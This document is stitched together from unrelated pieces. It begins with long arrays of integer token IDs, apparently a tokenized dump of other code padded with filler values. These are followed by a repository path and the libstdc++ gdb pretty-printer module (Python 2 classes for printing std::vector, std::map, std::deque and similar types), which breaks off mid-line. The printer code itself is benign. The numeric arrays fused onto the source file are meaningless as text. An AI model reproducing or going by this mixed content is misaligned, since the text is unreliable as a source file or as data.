2074, 3713, 2473, 356, 291, 14, 751, 14, 2473, 1552, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 2913, 63, 1569, 63, 988, 63, 2394, 995, 288, 2202, 14, 16632, 63, 9438, 63, 4283, 63, 20352, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 2913, 63, 1569, 63, 827, 63, 2394, 995, 288, 2202, 14, 16632, 63, 9438, 63, 4896, 63, 20352, 267, 776, 398, 291, 14, 629, 8, 1100, 459, 576, 2545, 2048, 63, 1751, 63, 1606, 63, 633, 995, 3837, 360, 2048, 63, 1751, 1333, 398, 367, 2225, 315, 291, 14, 9059, 63, 3998, 26, 288, 291, 14, 4080, 8, 3215, 12, 1067, 459, 576, 1105, 339, 347, 511, 63, 1345, 8, 277, 304, 267, 408, 267, 7635, 22876, 4690, 2034, 2455, 14, 267, 408, 267, 4690, 63, 515, 275, 3837, 360, 29144, 63, 2913, 297, 2074, 3713, 2473, 356, 291, 14, 11958, 1552, 267, 1177, 275, 291, 14, 1258, 14, 362, 8, 515, 29, 2913, 63, 515, 9, 398, 367, 2225, 315, 291, 14, 9059, 63, 3998, 26, 288, 291, 14, 4080, 8, 3215, 12, 1177, 14, 1317, 9, 339, 347, 511, 63, 10705, 63, 2913, 63, 1606, 8, 277, 304, 267, 408, 267, 7635, 626, 282, 7901, 365, 2138, 367, 282, 2222, 13, 15025, 4690, 2034, 14, 267, 408, 267, 4690, 63, 515, 275, 3837, 360, 29144, 63, 2913, 297, 2074, 3713, 2473, 356, 298, 889, 63, 10180, 63, 751, 5984, 267, 1177, 275, 291, 14, 1258, 14, 362, 8, 515, 29, 2913, 63, 515, 9, 267, 291, 14, 629, 8, 5188, 12, 1177, 14, 1205, 63, 600, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 6496, 367, 6474, 4690, 6858, 14, 408, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 396, 492, 7640, 199, 504, 1639, 14, 396, 14, 1258, 492, 18638, 199, 199, 504, 4884, 14, 4776, 492, 20503, 9637, 4256, 199, 504, 6474, 14, 2219, 14, 15406, 492, 16047, 199, 199, 504, 6474, 63, 2913, 14, 4196, 492, 22876, 63, 2913, 63, 1100, 421, 199, 533, 7005, 1060, 281, 5736, 2768, 774, 8, 6417, 9637, 4256, 12, 7640, 304, 272, 408, 6496, 367, 314, 6474, 4690, 2455, 14, 408, 339, 13044, 2339, 275, 298, 2473, 2, 272, 21705, 5172, 275, 298, 2060, 2, 272, 1868, 3876, 63, 3998, 275, 359, 267, 283, 885, 63, 3455, 63, 2048, 63, 955, 297, 267, 283, 8370, 63, 1246, 63, 633, 297, 267, 283, 18063, 63, 1246, 63, 633, 297, 267, 283, 2048, 63, 1751, 63, 1606, 63, 633, 297, 267, 283, 1989, 63, 18063, 63, 2732, 297, 267, 283, 944, 63, 2913, 297, 267, 283, 6063, 63, 1419, 297, 267, 283, 3671, 63, 1419, 297, 267, 283, 2048, 63, 1751, 63, 576, 297, 267, 283, 18063, 63, 576, 297, 272, 1622, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 21424, 281, 5736, 2768, 774, 12, 291, 680, 5996, 342, 267, 291, 14, 751, 275, 16047, 14, 981, 8, 2473, 29, 277, 14, 11958, 12, 2505, 29, 277, 14, 9032, 9, 267, 291, 14, 1258, 14, 2886, 8, 2473, 29, 277, 14, 11958, 12, 2505, 29, 277, 14, 9032, 9, 339, 347, 511, 63, 1100, 8, 277, 304, 267, 408, 267, 7635, 22876, 4690, 2034, 1067, 666, 14, 267, 408, 267, 1056, 275, 18638, 1252, 362, 2336, 633, 358, 267, 1056, 14, 751, 275, 291, 14, 751, 398, 1067, 275, 22876, 63, 2913, 63, 1100, 8, 1069, 12, 291, 14, 11958, 12, 291, 14, 751, 14, 374, 63, 7018, 9, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 885, 63, 3455, 63, 2048, 63, 955, 995, 288, 2202, 14, 18928, 63, 11793, 9002, 63, 22212, 459, 3455, 63, 955, 418, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 8370, 63, 1246, 63, 633, 995, 288, 3837, 480, 8370, 63, 1246, 401, 2074, 3713, 2473, 356, 291, 14, 751, 14, 2473, 1552, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 18063, 63, 1246, 63, 633, 995, 288, 3837, 360, 18063, 63, 1246, 297, 2074, 3713, 2473, 356, 291, 14, 751, 14, 2473, 1552, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 2913, 63, 1569, 63, 5064, 63, 633, 995, 288, 3837, 480, 2913, 63, 1569, 63, 5064, 401, 2074, 3713, 2473, 356, 291, 14, 751, 14, 2473, 1552, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 2913, 63, 1569, 63, 2168, 63, 633, 995, 288, 3837, 360, 2913, 63, 1569, 63, 2168, 297, 2074, 3713, 2473, 356, 291, 14, 751, 14, 2473, 1552, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 2913, 63, 1569, 63, 988, 63, 2394, 995, 288, 2202, 14, 16632, 63, 9438, 63, 4283, 63, 20352, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 2913, 63, 1569, 63, 827, 63, 2394, 995, 288, 2202, 14, 16632, 63, 9438, 63, 4896, 63, 20352, 267, 776, 398, 291, 14, 629, 8, 1100, 459, 576, 2545, 2048, 63, 1751, 63, 1606, 63, 633, 995, 3837, 360, 2048, 63, 1751, 1333, 398, 367, 2225, 315, 291, 14, 9059, 63, 3998, 26, 288, 291, 14, 4080, 8, 3215, 12, 1067, 459, 576, 1105, 339, 347, 511, 63, 1345, 8, 277, 304, 267, 408, 267, 7635, 22876, 4690, 2034, 2455, 14, 267, 408, 267, 4690, 63, 515, 275, 3837, 360, 29144, 63, 2913, 297, 2074, 3713, 2473, 356, 291, 14, 11958, 1552, 267, 1177, 275, 291, 14, 1258, 14, 362, 8, 515, 29, 2913, 63, 515, 9, 398, 367, 2225, 315, 291, 14, 9059, 63, 3998, 26, 288, 291, 14, 4080, 8, 3215, 12, 1177, 14, 1317, 9, 339, 347, 511, 63, 10705, 63, 2913, 63, 1606, 8, 277, 304, 267, 408, 267, 7635, 626, 282, 7901, 365, 2138, 367, 282, 2222, 13, 15025, 4690, 2034, 14, 267, 408, 267, 4690, 63, 515, 275, 3837, 360, 29144, 63, 2913, 297, 2074, 3713, 2473, 356, 298, 889, 63, 10180, 63, 751, 5984, 267, 1177, 275, 291, 14, 1258, 14, 362, 8, 515, 29, 2913, 63, 515, 9, 267, 291, 14, 629, 8, 5188, 12, 1177, 14, 1205, 63, 600, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
fredrikeldh/gcc4-mapip2
libstdc++-v3/python/libstdcxx/v6/printers.py
81
31298
# Pretty-printers for libstc++. # Copyright (C) 2008, 2009, 2010 Free Software Foundation, Inc. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import gdb import itertools import re class StdPointerPrinter: "Print a smart pointer of some kind" def __init__ (self, typename, val): self.typename = typename self.val = val def to_string (self): if self.val['_M_refcount']['_M_pi'] == 0: return '%s (empty) %s' % (self.typename, self.val['_M_ptr']) return '%s (count %d) %s' % (self.typename, self.val['_M_refcount']['_M_pi']['_M_use_count'], self.val['_M_ptr']) class UniquePointerPrinter: "Print a unique_ptr" def __init__ (self, val): self.val = val def to_string (self): return self.val['_M_t'] class StdListPrinter: "Print a std::list" class _iterator: def __init__(self, nodetype, head): self.nodetype = nodetype self.base = head['_M_next'] self.head = head.address self.count = 0 def __iter__(self): return self def next(self): if self.base == self.head: raise StopIteration elt = self.base.cast(self.nodetype).dereference() self.base = elt['_M_next'] count = self.count self.count = self.count + 1 return ('[%d]' % count, elt['_M_data']) def __init__(self, typename, val): self.typename = typename self.val = val def children(self): itype = self.val.type.template_argument(0) # If the inferior program is compiled with -D_GLIBCXX_DEBUG # some of the internal implementation details change. if self.typename == "std::list": nodetype = gdb.lookup_type('std::_List_node<%s>' % itype).pointer() elif self.typename == "std::__debug::list": nodetype = gdb.lookup_type('std::__norm::_List_node<%s>' % itype).pointer() else: raise ValueError, "Cannot cast list node for list printer." return self._iterator(nodetype, self.val['_M_impl']['_M_node']) def to_string(self): if self.val['_M_impl']['_M_node'].address == self.val['_M_impl']['_M_node']['_M_next']: return 'empty %s' % (self.typename) return '%s' % (self.typename) class StdListIteratorPrinter: "Print std::list::iterator" def __init__(self, typename, val): self.val = val self.typename = typename def to_string(self): itype = self.val.type.template_argument(0) # If the inferior program is compiled with -D_GLIBCXX_DEBUG # some of the internal implementation details change. if self.typename == "std::_List_iterator" or self.typename == "std::_List_const_iterator": nodetype = gdb.lookup_type('std::_List_node<%s>' % itype).pointer() elif self.typename == "std::__norm::_List_iterator" or self.typename == "std::__norm::_List_const_iterator": nodetype = gdb.lookup_type('std::__norm::_List_node<%s>' % itype).pointer() else: raise ValueError, "Cannot cast list node for list iterator printer." return self.val['_M_node'].cast(nodetype).dereference()['_M_data'] class StdSlistPrinter: "Print a __gnu_cxx::slist" class _iterator: def __init__(self, nodetype, head): self.nodetype = nodetype self.base = head['_M_head']['_M_next'] self.count = 0 def __iter__(self): return self def next(self): if self.base == 0: raise StopIteration elt = self.base.cast(self.nodetype).dereference() self.base = elt['_M_next'] count = self.count self.count = self.count + 1 return ('[%d]' % count, elt['_M_data']) def __init__(self, val): self.val = val def children(self): itype = self.val.type.template_argument(0) nodetype = gdb.lookup_type('__gnu_cxx::_Slist_node<%s>' % itype).pointer() return self._iterator(nodetype, self.val) def to_string(self): if self.val['_M_head']['_M_next'] == 0: return 'empty __gnu_cxx::slist' return '__gnu_cxx::slist' class StdSlistIteratorPrinter: "Print __gnu_cxx::slist::iterator" def __init__(self, val): self.val = val def to_string(self): itype = self.val.type.template_argument(0) nodetype = gdb.lookup_type('__gnu_cxx::_Slist_node<%s>' % itype).pointer() return self.val['_M_node'].cast(nodetype).dereference()['_M_data'] class StdVectorPrinter: "Print a std::vector" class _iterator: def __init__ (self, start, finish, bitvec): self.bitvec = bitvec if bitvec: self.item = start['_M_p'] self.so = start['_M_offset'] self.finish = finish['_M_p'] self.fo = finish['_M_offset'] itype = self.item.dereference().type self.isize = 8 * itype.sizeof else: self.item = start self.finish = finish self.count = 0 def __iter__(self): return self def next(self): count = self.count self.count = self.count + 1 if self.bitvec: if self.item == self.finish and self.so >= self.fo: raise StopIteration elt = self.item.dereference() if elt & (1 << self.so): obit = 1 else: obit = 0 self.so = self.so + 1 if self.so >= self.isize: self.item = self.item + 1 self.so = 0 return ('[%d]' % count, obit) else: if self.item == self.finish: raise StopIteration elt = self.item.dereference() self.item = self.item + 1 return ('[%d]' % count, elt) def __init__(self, typename, val): self.typename = typename self.val = val self.is_bool = val.type.template_argument(0).code == gdb.TYPE_CODE_BOOL def children(self): return self._iterator(self.val['_M_impl']['_M_start'], self.val['_M_impl']['_M_finish'], self.is_bool) def to_string(self): start = self.val['_M_impl']['_M_start'] finish = self.val['_M_impl']['_M_finish'] end = self.val['_M_impl']['_M_end_of_storage'] if self.is_bool: start = self.val['_M_impl']['_M_start']['_M_p'] so = self.val['_M_impl']['_M_start']['_M_offset'] finish = self.val['_M_impl']['_M_finish']['_M_p'] fo = self.val['_M_impl']['_M_finish']['_M_offset'] itype = start.dereference().type bl = 8 * itype.sizeof length = (bl - so) + bl * ((finish - start) - 1) + fo capacity = bl * (end - start) return ('%s<bool> of length %d, capacity %d' % (self.typename, int (length), int (capacity))) else: return ('%s of length %d, capacity %d' % (self.typename, int (finish - start), int (end - start))) def display_hint(self): return 'array' class StdVectorIteratorPrinter: "Print std::vector::iterator" def __init__(self, val): self.val = val def to_string(self): return self.val['_M_current'].dereference() class StdTuplePrinter: "Print a std::tuple" class _iterator: def __init__ (self, head): self.head = head # Set the base class as the initial head of the # tuple. nodes = self.head.type.fields () if len (nodes) != 1: raise ValueError, "Top of tuple tree does not consist of a single node." # Set the actual head to the first pair. self.head = self.head.cast (nodes[0].type) self.count = 0 def __iter__ (self): return self def next (self): nodes = self.head.type.fields () # Check for further recursions in the inheritance tree. if len (nodes) == 0: raise StopIteration # Check that this iteration has an expected structure. if len (nodes) != 2: raise ValueError, "Cannot parse more than 2 nodes in a tuple tree." # - Left node is the next recursion parent. # - Right node is the actual class contained in the tuple. # Process right node. impl = self.head.cast (nodes[1].type) # Process left node and set it as head. self.head = self.head.cast (nodes[0].type) self.count = self.count + 1 # Finally, check the implementation. If it is # wrapped in _M_head_impl return that, otherwise return # the value "as is". fields = impl.type.fields () if len (fields) < 1 or fields[0].name != "_M_head_impl": return ('[%d]' % self.count, impl) else: return ('[%d]' % self.count, impl['_M_head_impl']) def __init__ (self, typename, val): self.typename = typename self.val = val; def children (self): return self._iterator (self.val) def to_string (self): return '%s containing' % (self.typename) class StdStackOrQueuePrinter: "Print a std::stack or std::queue" def __init__ (self, typename, val): self.typename = typename self.visualizer = gdb.default_visualizer(val['c']) def children (self): return self.visualizer.children() def to_string (self): return '%s wrapping: %s' % (self.typename, self.visualizer.to_string()) def display_hint (self): if hasattr (self.visualizer, 'display_hint'): return self.visualizer.display_hint () return None class RbtreeIterator: def __init__(self, rbtree): self.size = rbtree['_M_t']['_M_impl']['_M_node_count'] self.node = rbtree['_M_t']['_M_impl']['_M_header']['_M_left'] self.count = 0 def __iter__(self): return self def __len__(self): return int (self.size) def next(self): if self.count == self.size: raise StopIteration result = self.node self.count = self.count + 1 if self.count < self.size: # Compute the next node. node = self.node if node.dereference()['_M_right']: node = node.dereference()['_M_right'] while node.dereference()['_M_left']: node = node.dereference()['_M_left'] else: parent = node.dereference()['_M_parent'] while node == parent.dereference()['_M_right']: node = parent parent = parent.dereference()['_M_parent'] if node.dereference()['_M_right'] != parent: node = parent self.node = node return result # This is a pretty printer for std::_Rb_tree_iterator (which is # std::map::iterator), and has nothing to do with the RbtreeIterator # class above. class StdRbtreeIteratorPrinter: "Print std::map::iterator" def __init__ (self, val): self.val = val def to_string (self): valuetype = self.val.type.template_argument(0) nodetype = gdb.lookup_type('std::_Rb_tree_node < %s >' % valuetype) nodetype = nodetype.pointer() return self.val.cast(nodetype).dereference()['_M_value_field'] class StdDebugIteratorPrinter: "Print a debug enabled version of an iterator" def __init__ (self, val): self.val = val # Just strip away the encapsulating __gnu_debug::_Safe_iterator # and return the wrapped iterator value. def to_string (self): itype = self.val.type.template_argument(0) return self.val['_M_current'].cast(itype) class StdMapPrinter: "Print a std::map or std::multimap" # Turn an RbtreeIterator into a pretty-print iterator. class _iter: def __init__(self, rbiter, type): self.rbiter = rbiter self.count = 0 self.type = type def __iter__(self): return self def next(self): if self.count % 2 == 0: n = self.rbiter.next() n = n.cast(self.type).dereference()['_M_value_field'] self.pair = n item = n['first'] else: item = self.pair['second'] result = ('[%d]' % self.count, item) self.count = self.count + 1 return result def __init__ (self, typename, val): self.typename = typename self.val = val def to_string (self): return '%s with %d elements' % (self.typename, len (RbtreeIterator (self.val))) def children (self): keytype = self.val.type.template_argument(0).const() valuetype = self.val.type.template_argument(1) nodetype = gdb.lookup_type('std::_Rb_tree_node< std::pair< %s, %s > >' % (keytype, valuetype)) nodetype = nodetype.pointer() return self._iter (RbtreeIterator (self.val), nodetype) def display_hint (self): return 'map' class StdSetPrinter: "Print a std::set or std::multiset" # Turn an RbtreeIterator into a pretty-print iterator. class _iter: def __init__(self, rbiter, type): self.rbiter = rbiter self.count = 0 self.type = type def __iter__(self): return self def next(self): item = self.rbiter.next() item = item.cast(self.type).dereference()['_M_value_field'] # FIXME: this is weird ... what to do? # Maybe a 'set' display hint? result = ('[%d]' % self.count, item) self.count = self.count + 1 return result def __init__ (self, typename, val): self.typename = typename self.val = val def to_string (self): return '%s with %d elements' % (self.typename, len (RbtreeIterator (self.val))) def children (self): keytype = self.val.type.template_argument(0) nodetype = gdb.lookup_type('std::_Rb_tree_node< %s >' % keytype).pointer() return self._iter (RbtreeIterator (self.val), nodetype) class StdBitsetPrinter: "Print a std::bitset" def __init__(self, typename, val): self.typename = typename self.val = val def to_string (self): # If template_argument handled values, we could print the # size. Or we could use a regexp on the type. return '%s' % (self.typename) def children (self): words = self.val['_M_w'] wtype = words.type # The _M_w member can be either an unsigned long, or an # array. This depends on the template specialization used. # If it is a single long, convert to a single element list. if wtype.code == gdb.TYPE_CODE_ARRAY: tsize = wtype.target ().sizeof else: words = [words] tsize = wtype.sizeof nwords = wtype.sizeof / tsize result = [] byte = 0 while byte < nwords: w = words[byte] bit = 0 while w != 0: if (w & 1) != 0: # Another spot where we could use 'set'? result.append(('[%d]' % (byte * tsize * 8 + bit), 1)) bit = bit + 1 w = w >> 1 byte = byte + 1 return result class StdDequePrinter: "Print a std::deque" class _iter: def __init__(self, node, start, end, last, buffer_size): self.node = node self.p = start self.end = end self.last = last self.buffer_size = buffer_size self.count = 0 def __iter__(self): return self def next(self): if self.p == self.last: raise StopIteration result = ('[%d]' % self.count, self.p.dereference()) self.count = self.count + 1 # Advance the 'cur' pointer. self.p = self.p + 1 if self.p == self.end: # If we got to the end of this bucket, move to the # next bucket. self.node = self.node + 1 self.p = self.node[0] self.end = self.p + self.buffer_size return result def __init__(self, typename, val): self.typename = typename self.val = val self.elttype = val.type.template_argument(0) size = self.elttype.sizeof if size < 512: self.buffer_size = int (512 / size) else: self.buffer_size = 1 def to_string(self): start = self.val['_M_impl']['_M_start'] end = self.val['_M_impl']['_M_finish'] delta_n = end['_M_node'] - start['_M_node'] - 1 delta_s = start['_M_last'] - start['_M_cur'] delta_e = end['_M_cur'] - end['_M_first'] size = self.buffer_size * delta_n + delta_s + delta_e return '%s with %d elements' % (self.typename, long (size)) def children(self): start = self.val['_M_impl']['_M_start'] end = self.val['_M_impl']['_M_finish'] return self._iter(start['_M_node'], start['_M_cur'], start['_M_last'], end['_M_cur'], self.buffer_size) def display_hint (self): return 'array' class StdDequeIteratorPrinter: "Print std::deque::iterator" def __init__(self, val): self.val = val def to_string(self): return self.val['_M_cur'].dereference() class StdStringPrinter: "Print a std::basic_string of some kind" def __init__(self, val): self.val = val def to_string(self): # Make sure &string works, too. type = self.val.type if type.code == gdb.TYPE_CODE_REF: type = type.target () # Calculate the length of the string so that to_string returns # the string according to length, not according to first null # encountered. ptr = self.val ['_M_dataplus']['_M_p'] realtype = type.unqualified ().strip_typedefs () reptype = gdb.lookup_type (str (realtype) + '::_Rep').pointer () header = ptr.cast(reptype) - 1 len = header.dereference ()['_M_length'] if hasattr(ptr, "lazy_string"): return ptr.lazy_string (length = len) return ptr.string (length = len) def display_hint (self): return 'string' class Tr1HashtableIterator: def __init__ (self, hash): self.count = 0 self.n_buckets = hash['_M_element_count'] if self.n_buckets == 0: self.node = False else: self.bucket = hash['_M_buckets'] self.node = self.bucket[0] self.update () def __iter__ (self): return self def update (self): # If we advanced off the end of the chain, move to the next # bucket. while self.node == 0: self.bucket = self.bucket + 1 self.node = self.bucket[0] # If we advanced off the end of the bucket array, then # we're done. if self.count == self.n_buckets: self.node = False else: self.count = self.count + 1 def next (self): if not self.node: raise StopIteration result = self.node.dereference()['_M_v'] self.node = self.node.dereference()['_M_next'] self.update () return result class Tr1UnorderedSetPrinter: "Print a tr1::unordered_set" def __init__ (self, typename, val): self.typename = typename self.val = val def to_string (self): return '%s with %d elements' % (self.typename, self.val['_M_element_count']) @staticmethod def format_count (i): return '[%d]' % i def children (self): counter = itertools.imap (self.format_count, itertools.count()) return itertools.izip (counter, Tr1HashtableIterator (self.val)) class Tr1UnorderedMapPrinter: "Print a tr1::unordered_map" def __init__ (self, typename, val): self.typename = typename self.val = val def to_string (self): return '%s with %d elements' % (self.typename, self.val['_M_element_count']) @staticmethod def flatten (list): for elt in list: for i in elt: yield i @staticmethod def format_one (elt): return (elt['first'], elt['second']) @staticmethod def format_count (i): return '[%d]' % i def children (self): counter = itertools.imap (self.format_count, itertools.count()) # Map over the hash table and flatten the result. data = self.flatten (itertools.imap (self.format_one, Tr1HashtableIterator (self.val))) # Zip the two iterators together. return itertools.izip (counter, data) def display_hint (self): return 'map' def register_libstdcxx_printers (obj): "Register libstdc++ pretty-printers with objfile Obj." if obj == None: obj = gdb obj.pretty_printers.append (lookup_function) def lookup_function (val): "Look-up and return a pretty-printer that can print val." # Get the type. type = val.type # If it points to a reference, get the reference. if type.code == gdb.TYPE_CODE_REF: type = type.target () # Get the unqualified type, stripped of typedefs. type = type.unqualified ().strip_typedefs () # Get the type name. typename = type.tag if typename == None: return None # Iterate over local dictionary of types to determine # if a printer is registered for that type. Return an # instantiation of the printer if found. for function in pretty_printers_dict: if function.search (typename): return pretty_printers_dict[function] (val) # Cannot find a pretty printer. Return None. return None def build_libstdcxx_dictionary (): # libstdc++ objects requiring pretty-printing. # In order from: # http://gcc.gnu.org/onlinedocs/libstdc++/latest-doxygen/a01847.html pretty_printers_dict[re.compile('^std::basic_string<.*>$')] = lambda val: StdStringPrinter(val) pretty_printers_dict[re.compile('^std::bitset<.*>$')] = lambda val: StdBitsetPrinter("std::bitset", val) pretty_printers_dict[re.compile('^std::deque<.*>$')] = lambda val: StdDequePrinter("std::deque", val) pretty_printers_dict[re.compile('^std::list<.*>$')] = lambda val: StdListPrinter("std::list", val) pretty_printers_dict[re.compile('^std::map<.*>$')] = lambda val: StdMapPrinter("std::map", val) pretty_printers_dict[re.compile('^std::multimap<.*>$')] = lambda val: StdMapPrinter("std::multimap", val) pretty_printers_dict[re.compile('^std::multiset<.*>$')] = lambda val: StdSetPrinter("std::multiset", val) pretty_printers_dict[re.compile('^std::priority_queue<.*>$')] = lambda val: StdStackOrQueuePrinter("std::priority_queue", val) pretty_printers_dict[re.compile('^std::queue<.*>$')] = lambda val: StdStackOrQueuePrinter("std::queue", val) pretty_printers_dict[re.compile('^std::tuple<.*>$')] = lambda val: StdTuplePrinter("std::tuple", val) pretty_printers_dict[re.compile('^std::set<.*>$')] = lambda val: StdSetPrinter("std::set", val) pretty_printers_dict[re.compile('^std::stack<.*>$')] = lambda val: StdStackOrQueuePrinter("std::stack", val) pretty_printers_dict[re.compile('^std::unique_ptr<.*>$')] = UniquePointerPrinter pretty_printers_dict[re.compile('^std::vector<.*>$')] = lambda val: StdVectorPrinter("std::vector", val) # vector<bool> # Printer registrations for classes compiled with -D_GLIBCXX_DEBUG. pretty_printers_dict[re.compile('^std::__debug::bitset<.*>$')] = lambda val: StdBitsetPrinter("std::__debug::bitset", val) pretty_printers_dict[re.compile('^std::__debug::deque<.*>$')] = lambda val: StdDequePrinter("std::__debug::deque", val) pretty_printers_dict[re.compile('^std::__debug::list<.*>$')] = lambda val: StdListPrinter("std::__debug::list", val) pretty_printers_dict[re.compile('^std::__debug::map<.*>$')] = lambda val: StdMapPrinter("std::__debug::map", val) pretty_printers_dict[re.compile('^std::__debug::multimap<.*>$')] = lambda val: StdMapPrinter("std::__debug::multimap", val) pretty_printers_dict[re.compile('^std::__debug::multiset<.*>$')] = lambda val: StdSetPrinter("std::__debug::multiset", val) pretty_printers_dict[re.compile('^std::__debug::priority_queue<.*>$')] = lambda val: StdStackOrQueuePrinter("std::__debug::priority_queue", val) pretty_printers_dict[re.compile('^std::__debug::queue<.*>$')] = lambda val: StdStackOrQueuePrinter("std::__debug::queue", val) pretty_printers_dict[re.compile('^std::__debug::set<.*>$')] = lambda val: StdSetPrinter("std::__debug::set", val) pretty_printers_dict[re.compile('^std::__debug::stack<.*>$')] = lambda val: StdStackOrQueuePrinter("std::__debug::stack", val) pretty_printers_dict[re.compile('^std::__debug::unique_ptr<.*>$')] = UniquePointerPrinter pretty_printers_dict[re.compile('^std::__debug::vector<.*>$')] = lambda val: StdVectorPrinter("std::__debug::vector", val) # These are the TR1 and C++0x printers. # For array - the default GDB pretty-printer seems reasonable. pretty_printers_dict[re.compile('^std::shared_ptr<.*>$')] = lambda val: StdPointerPrinter ('std::shared_ptr', val) pretty_printers_dict[re.compile('^std::weak_ptr<.*>$')] = lambda val: StdPointerPrinter ('std::weak_ptr', val) pretty_printers_dict[re.compile('^std::unordered_map<.*>$')] = lambda val: Tr1UnorderedMapPrinter ('std::unordered_map', val) pretty_printers_dict[re.compile('^std::unordered_set<.*>$')] = lambda val: Tr1UnorderedSetPrinter ('std::unordered_set', val) pretty_printers_dict[re.compile('^std::unordered_multimap<.*>$')] = lambda val: Tr1UnorderedMapPrinter ('std::unordered_multimap', val) pretty_printers_dict[re.compile('^std::unordered_multiset<.*>$')] = lambda val: Tr1UnorderedSetPrinter ('std::unordered_multiset', val) pretty_printers_dict[re.compile('^std::tr1::shared_ptr<.*>$')] = lambda val: StdPointerPrinter ('std::tr1::shared_ptr', val) pretty_printers_dict[re.compile('^std::tr1::weak_ptr<.*>$')] = lambda val: StdPointerPrinter ('std::tr1::weak_ptr', val) pretty_printers_dict[re.compile('^std::tr1::unordered_map<.*>$')] = lambda val: Tr1UnorderedMapPrinter ('std::tr1::unordered_map', val) pretty_printers_dict[re.compile('^std::tr1::unordered_set<.*>$')] = lambda val: Tr1UnorderedSetPrinter ('std::tr1::unordered_set', val) pretty_printers_dict[re.compile('^std::tr1::unordered_multimap<.*>$')] = lambda val: 